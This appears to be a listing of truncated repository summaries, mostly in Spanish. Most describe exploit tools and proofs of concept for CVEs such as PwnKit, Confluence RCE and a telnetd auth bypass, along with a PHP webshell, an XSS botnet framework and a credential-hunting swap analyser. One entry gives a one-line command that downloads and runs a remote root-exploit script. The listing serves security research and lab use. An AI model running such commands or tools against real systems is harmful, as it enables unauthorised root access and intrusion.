CVE-2025-1094-Lab-Setup

🛠️ Configuración del Laboratorio CVE-2025-1094 ⚠️ Aviso legal Este laboratorio es solo con fines educativos y de investigación. NO utilice ninguna de las técnicas o información aquí demostradas en sistemas que no sean de su propiedad o para los que no tenga permiso explícito de prueba. El uso no...

MitigationToolkit-ROSN-LR5-Full

🧬 ROSN-LR5 – Kernel LPE PoC & Mitigation Toolkit CVE-2026-31431 Herramienta ofensiva y defensiva para la vulnerabilidad CVE-2026-31431 en sistemas Linux. Combina una prueba de concepto de escalada local de privilegios LPE con utilidades para revisar y mitigar temporalmente el vector de ataque...

CVE-2026-24061

CVE-2026-24061: Vulnerabilidad de Omisión de Autenticación en telnetd CVE-2026-24061 es una vulnerabilidad de omisión de autenticación en telnetd que permite a los atacantes eludir la verificación de identidad mediante combinaciones específicas de variables de entorno y obtener directamente un...

CVE-2023-22527

CVE-2023-22527 Una herramienta de explotación para explotar el servidor de Confluence que es vulnerable a CVE-2023-22527, lo que conduce a RCE, probada y con POC verificado en instancias vulnerables de Confluence Data Center y servidores. Con esto, un atacante puede ejecutar código arbitrario en ...

CVE-2026-29000-pac4j-jwt-auth-bypass

HTB Principal — Writeup de CVE-2026-29000 Aviso legal: Este exploit fue desarrollado únicamente para la máquina retirada "Principal" de HackTheBox. Solo con fines educativos. No lo utilices contra sistemas que no poseas o para los que no tengas permiso explícito de prueba. Información de la máqui...

Poc-CVE-2025-9519

Easy Timer v4.2.1 - Requisitos previos Docker Engine instalado Docker Compose instalado Consulta la documentación oficial de Docker para la instalación: Instalación de Docker Engine 1. Iniciar WordPress con Docker Desde el directorio de tu proyecto: sudo docker-compose up -d mkdir -p...

evine

Evine Web Crawler CLI interactivo. Evine es un web crawler y web scraper simple, rápido e interactivo escrito en Golang. Evine es útil para una amplia gama de propósitos, como extracción de metadatos y datos, minería de datos, reconocimiento y pruebas. Si te gusta el proyecto, dale una estrella...

evine

Evine Interactive CLI Web Crawler. Evine is a simple, fast, and interactive web crawler and web scraper written in Golang. Evine is useful for a wide range of purposes such as metadata and data extraction, data mining, reconnaissance and testing. If you like the project, give it a star. It forces...

flipper-template

Plantilla Zig para Flipper Zero Una plantilla moderna y lista para producción para desarrollar aplicaciones para Flipper Zero con el lenguaje de programación Zig. Este proyecto proporciona un sistema de compilación optimizado que integra Zig con el SDK de Flipper Zero, lo que permite a los...

PX4-Autopilot

La pila de piloto automático sobre la que construye la industria. Acerca de PX4 es una pila de piloto automático de código abierto para drones y vehículos no tripulados. Admite multirrotores, ala fija, VTOL, rovers y muchas más plataformas experimentales, desde quads de carreras hasta aeronaves d...

CVE-2021-4034

CVE-2021-4034 Un día para el exploit de escalada de privilegios de polkit Simplemente ejecute y disfrute ./blasty de tu shell raíz. El aviso original de los autores reales es - aquí Instalación Si el exploit funciona, obtendrá un shell de root inmediatamente: user@tecnokarita-/Descargas $ git clo...

XSScope

Ve más allá de la alerta XSScope es uno de los marcos de trabajo GUI más avanzados para ataques XSS del lado del cliente. Puede realizar diferentes ataques XSS e inyección HTML en tiempo real. Características Realizar ataques de botnet XSS. Cada víctima afectada por el payload XSS en el servidor...

ez-pwnkit

ez-pwnkit Una implementación en Go puro del exploit CVE-2021-4034 PwnKit. El exploit utiliza syscall.ForkExec para sobrevivir al final del programa principal. Instalación git clone https://github.com/OXDBXKXO/ez-pwnkit.git cd ez-pwnkit make Como el exploit depende de una biblioteca compartida...

slopShell

slopShell webshell en PHP Como metí la pata y olvidé hablar sobre el uso, aquí va. Para que este shell funcione, necesitas 2 cosas: una víctima que permita la subida de archivos PHP tú mismo, en un entorno educativo y una forma de enviar peticiones HTTP a este webshell el script cliente es la mej...

swap_digger

swapdigger swapdigger es un script de bash utilizado para automatizar el análisis de swap de Linux con fines de post-explotación o forenses. Automatiza la extracción de swap y busca credenciales de usuario de Linux, credenciales de formularios web, correos electrónicos de formularios web,...

swap_digger

swapdigger swapdigger is a bash script used to automate Linux swap analysis for post-exploitation or forensics purpose. It automates swap extraction and searches for Linux user credentials, Web form credentials, Web form emails, HTTP basic authentication, WiFi SSID and keys, etc. Download and run...

cve_2026_34621_advanced

Generador Avanzado de Exploits CVE-2026-34621 Un generador de exploits sofisticado y multiplataforma para CVE-2026-34621 – una vulnerabilidad crítica de contaminación de prototipos en Adobe Acrobat y Reader que permite el escape del sandbox y la ejecución arbitraria de código en Windows y macOS. ...

CVE-2021-3560

CVE-2021-3560 Exploit de root instantáneo de Polkit Puedes ejecutar un comando para obtener root en sistemas vulnerables a Polkit CVE-2021-3560 escribiendo: sh -c "$curl -sSL https://raw.githubusercontent.com/n3onhacks/CVE-2021-3560/main/polkit.sh" O puedes descargar el .sh o copiarlo y pegarlo...

CVE-2026-22730-Scanner

Escáner y Exploit CVE-2026-22730 – Inyección SQL en el Vector Store MariaDB de Spring AI Una herramienta profesional de evaluación de seguridad para CVE-2026-22730 – una vulnerabilidad crítica de inyección SQL descubierta en el vector store MariaDB de Spring AI. Esta herramienta permite a...

Security Bulletin: IBM Guardium Data Protection is affected by multiple vulnerabilities.

Summary IBM Guardium Data Protection has addressed these vulnerabilities in an update. Vulnerability Details CVEID:CVE-2026-59888 DESCRIPTION: jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.15.0 until 2.18.8, 2.21.4, and...